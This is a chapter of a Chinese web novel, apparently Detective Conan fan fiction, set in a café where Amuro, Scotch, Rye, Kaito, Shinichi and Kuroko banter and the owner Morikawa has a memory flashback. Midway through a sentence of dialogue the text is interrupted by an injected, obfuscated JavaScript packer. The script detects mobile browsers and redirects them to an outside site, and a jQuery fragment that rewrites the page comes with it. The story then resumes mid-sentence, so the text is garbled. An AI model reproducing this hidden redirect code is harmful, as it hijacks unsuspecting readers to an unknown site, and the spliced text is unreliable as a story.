今天我有猫了吗 作品

18. 第 18 章

这顿晚饭最后还是没吃成,他们去的太晚,很多食材都售罄了。


安室透非常过意不去,说下次一定带森川来月去吃好吃的。


赢回来的玩偶无处可放,全被堆在床边。


每天能抱着不同玩偶睡觉觉,胡萝卜很高兴,但玩偶数量实在有点多,以至于森川来月起床被巨大泰迪熊绊倒时,好一会儿才想起自己到底要干嘛。


从公安据点获取的资料全部解析完了,欧罗已经打包传上他的电脑。


公安也没有那么傻,将资料储存在随时有敌人入侵的地方,只不过是欧罗制造的病毒太霸道,跨服下载内部资料只需要一个接口。


数据大多与安室透家见到的那份资料相同,不同的是,在这份资料里,公安加大了对s17-63的调查力度。


理由是他们在尘封许久的研究室内,发现了不同寻常的新脚印。


鉴识人员根据脚印的大小和深浅,大致推算出这个人的身高体重,与zero小组录下的影像匹配,认为这个脚印很可能来自同一个人。


也就是说,这是那个拥有空间移动能力的试验体,重返现场的铁证。


欧罗大惊失色:“你怎么将脚印漏在那里了!”


森川来月苦思冥想。


“啊。”


想起来了,他在研究室将面具斗篷的时间用尽了,都怪“那位”一通电话将他叫去杯户酒店,他把这事给忘得一干二净。


安室透身边符合条件的人,好像只有他一个,以他对安室透的了解,一旦有可疑对象,这位必定穷追不舍,恨不得将眼珠子都黏在怀疑目标身上。


这么说降谷先生会不会在怀疑他?


森川来月从吧台探出脑袋,小心翼翼看向窗边。


看起来不像啊。


他反而看上去……更像是在跟美女约会?


今天安室透穿着稍显正式,米色高领毛衣外套着简约的深色西装,虽然听不清他在说什么,但表情十分柔和。


对面位置上的女子被温柔攻势攻陷,终于忍不住,哭得梨花带雨。


安室透怜惜又遗憾地递上一张纸巾。


在隔壁桌默默放下饮料,森川来月与两位明显也在偷窥的客人,心照不宣地对视了一眼。


噢——


头戴黑色毛线帽的男人低笑:“真是,冬天还没结束,有人的春天就要来了。”


苏格兰压低声:“……你小声点。”


莱伊说:“不是吗?昨天跟今天谈的朋友完全两模两样。”


他意有所指,看向站在桌旁的森川来月。


森川来月:感觉有被内涵到。


安室透在咖啡厅跟委托人谈事情可以理解,森川来月斜眼看着苏格兰跟莱伊,但是这两人怎么也在。


他选择问笑容更和煦那个:“绿川先生,你们跟安室先生一样也是侦探?今天也是来见委托人的吗?”


苏格兰说:“我们是一个乐队的,今天没有表演,来这里放松一下。”


森川来月还没说话呢,莱伊就插嘴:“噢,是这样啊。”


森川来月:“……”


他闻到了八卦的味道!


苏格兰头都大了,他今天来确实只是凑巧,但莱伊是怎么回事?


他们今天没有任务啊,所以这是在捣什么乱!


苏格兰总是温柔的眸子瞪着莱伊,满眼写着“你想干嘛”。


莱伊:捣乱真有意思,尤其是捣波本的,不是吗?


苏格兰拧眉:今天波本可没惹你。


莱伊眉头挑得老高。


今天是没有,但昨晚那个嘲笑说“这么简单的凶杀案都看不出还要人来救场莱伊你可真丢人”的是谁!


早知道这样他昨天就不该叫安室透去帮忙——苏格兰头疼不已,轻敲莱伊的杯子:好了好了,是他的错,喝东西。


莱伊这才一副“ok我不跟波本计较”的表情。


他们眉来眼去,森川来月看不懂他们的眼神交流,吃瓜严重受阻。


嗐呀,怎么还说起队内语音了,说出来也让他听听啊。


安室透抽空用眼神告诉森川来月:别理这人。


但是莱伊这个大黑眼圈妖怪的眼神,怎么看怎么都像挑衅。


安室透拳头痒了。


美丽的委托人还在垂头哭泣,完全错过对面侦探的凶狠眼神。


苏格兰赶紧掰过莱伊的脑袋,冰咖啡怼上他的嘴巴,人工断绝了一场纷争。


这仨也太可乐了,森川来月怕笑出声,赶紧端盘子走人。


吧台边上,两个双生子相貌的男生你一言我一句,气氛也很激烈。


黑羽快斗津津乐道:“要说历史上最奇异的魔术,还要属上世纪蒙拜罗·埃弗里斯特的圈套魔术,在当时创造了连续表演200场次的惊人记录。”


工藤新一呵呵补充:“又因为圈套魔术的手法是找现场观众做托儿,所以蒙拜罗被戏称为‘作弊之父’。”


黑羽快斗哼道:“那黑羽盗一的惊悚系列魔术没得说,手段肯定是最高明的,迄今为止都还没被魔术界破解。”


工藤新一无趣托腮:“手法总归就是那几样,骗人的东西迟早会被拆穿。”


黑羽快斗手一揣,斜眼看他:“那不如大侦探来推理一下?”


工藤新一不甘示弱:“你不是精通魔术吗?你破解一下?”


然后他们异口同声:“阿梓小姐你来评评理!”


榎本梓端着餐盘:“这个,哈哈,丸子汤套餐好了哦~”


今天店里真热闹呀~


森川来月无语路过,这俩都几岁了,吵不赢还要找裁判。


黑子哲也推门进来时两个男生还在大眼瞪小眼,气氛不太对,他默默顿了下,思考今天要不还是别坐吧台了。


然而黑羽快斗已经见到他了,非要拉着坐自己隔壁。


黑子哲也对他们的斗争一无所知,他坐哪都是一样的:“麻烦老板,一杯加大的香草奶昔。”


与往日的黑色校服不同,他今天穿着诚凛高校篮球队的黑白红运动服,单肩包里塞着替换衣物,像是刚训练完。


黑子哲也担心篮球会滚走,小心将这个圆圆的大宝贝放在脚边。


“你真的是篮球部的?”工藤新一好奇心被勾起来,“你负责哪个位置?”


看样子应该是控球后卫?


可就算是控球后卫也……也太矮了一点。


“唔……”黑子哲也咬着吸管,“好像,没有安排我在哪个位置。”


工藤新一懂了。


工藤新一安慰他:“替补也挺好的,重在参与嘛。”


黑子哲也:“?”


上回黑子哲也说对魔术感兴趣,这事黑羽快斗还记得,他嫌弃地挤开工藤新一,嘴上啐啐:“来来来,跟这种不懂得欣赏魔术的人没什么好说的,我们两个聊。”


工藤新一回他一个大大的白眼。


黑子哲也会一点魔术,黑羽快斗就拉过榎本梓一起,用魔术给他做示范。


“在打球时用视线诱导是个好主意啊,就跟魔术差不多嘛。”


黑羽快斗将一叠扑克牌放在桌上。


“用魔术来表现的话也很简单,大部分魔术师在表演时会加上心理暗示……”他在榎本梓鬓边长发处翻出一副同花顺,“看!就像这样。”


工藤新一幽幽道:“你的观众一点都不觉得有趣。”


黑子哲也面无表情,工藤新一怎么看他都不像是感兴趣的模样。


黑羽快斗“哈!”了一声,“这就是你不懂了。”


“黑子君存在感本来就低,现在是有意识地锻炼自己的气场,这样在球场上走位或传球,干什么都不容易引人注意。”


质疑他的魔术就是质疑他的专业性,黑羽快斗叉腰:“就像魔术师要时刻保持‘poker face’那样,即使手上拿着的


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14966134|161245||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


是一副烂牌,观众也不会察觉到魔术师的意图,明白了……”


“咚——!”水杯碟子掉进水槽,噼里啪啦发出几声巨大的闷响。


森川来月捂着头,目光涣散,撑在水槽边的手指惨白,脸色难看得吓人。


【等阿月再长大点,手就稳了。】


有个人牵着他,大手十分温暖。


【阿月的易容手法越来越熟了嘛,不错。】


桌上摆着的,是森川来月常用的易容工具。


【快斗,要叫哥哥。】


这是……黑羽盗一?


【知道什么是‘poker face’吗?】


这种感觉……是有人轻柔地摸了摸自己的脑袋。


森川来月忍不住惨叫一声!


脑海有根棍子不住地搅,松动的记忆片段上蹿下跳,森川来月头晕目眩,豆大的冷汗氲湿了他的视线。


——他见过黑羽快斗。


不止如此,他和黑羽盗一应该很熟,在记忆里见面的次数不是一次两次。


那站在他隔壁的是谁?


是黑羽盗一认识的人吗?


那他呢?


他又是谁?


“——阿遥?阿遥!”


森川来月神情恍惚,视线逐渐清晰,看见安室透一脸紧张的表情。


安室透见他嘴唇发白,二话不说要拉他走:“我送你去医院。”


那怎么行,去医院抽血会留下他的痕迹!


“不、不用不用……”森川来月赶紧摇头,“昨晚没睡好,大概是低血糖累了,休息一下就好。”


他的样子确实和低血糖的症状很像,安室透只好将人扶到凳子上,转身打开店里的冰箱,看有什么能用得上。


“拿那罐草莓糖浆。”苏格兰不知道什么时候也走进吧台,挽起袖子要帮忙。


森川来月哪好意思:“我感觉好多了,不用那么麻烦。”


他是不知道,他刚刚那副样子好像随时要歇菜,大家都吓了一跳,现在说什么也不让他动弹。


“你先坐着,万一站起来又头晕怎么办。”安室透难得肃声,满脸不赞同。


苏格兰也安抚道:“我做个草莓牛奶,很快的。”


榎本梓干脆将森川来月摁在凳子上:“你现在只管好好坐着,别给人家添麻烦。”


安室透说:“还有份蛋糕,你要还是很不舒服就先吃了。”


他说着就要从冰箱将蛋糕拿出来。


森川来月傻眼。


不是,这……现在谁是老板谁是客人啊。


森川来月真的感觉自己好多了,在被灌了一杯甜食之后,头疼的症状也不明显了。


坐在吧台边上的三个少年齐齐松了口气,尤其是黑羽快斗,刚才他大气都不敢出,还以为是自己说话声音太大,将店长小哥吓晕了。


黑羽快斗小心翼翼:“遥哥,你真的没事吧?”


森川来月说:“没事没事。”


少年终于放松下来。


森川来月有些感慨,记忆中的黑羽快斗只有豆丁大,被黑羽盗一抱在怀里,路都走不稳。


可惜现在他的记忆不全,而且估计黑羽快斗也没印象了,想问什么都无从问起。


虽然一再表示自己已经没有问题,但在场所有人都意见一致,认为森川来月应该马上休息,安室透直接拉他上了自己车,立刻将人送回家。


目送远去的白色rx7,长发男人在街边站了片刻,掏出火柴盒划了一根,点燃嘴中的香烟。


刚刚的情景莱伊全看在眼里,自然没有看漏波本眼中那一丝着急。


“站在这里干什么呢?”苏格兰走出来。


“呐,”莱伊的眼神充满探究,“波本好像跟咖啡厅老板关系很好。”


“是吗?”


“遥君跟谁关系都好啊,”苏格兰笑道,“如果是莱伊的话,他应该不介意交多一个新朋友吧。”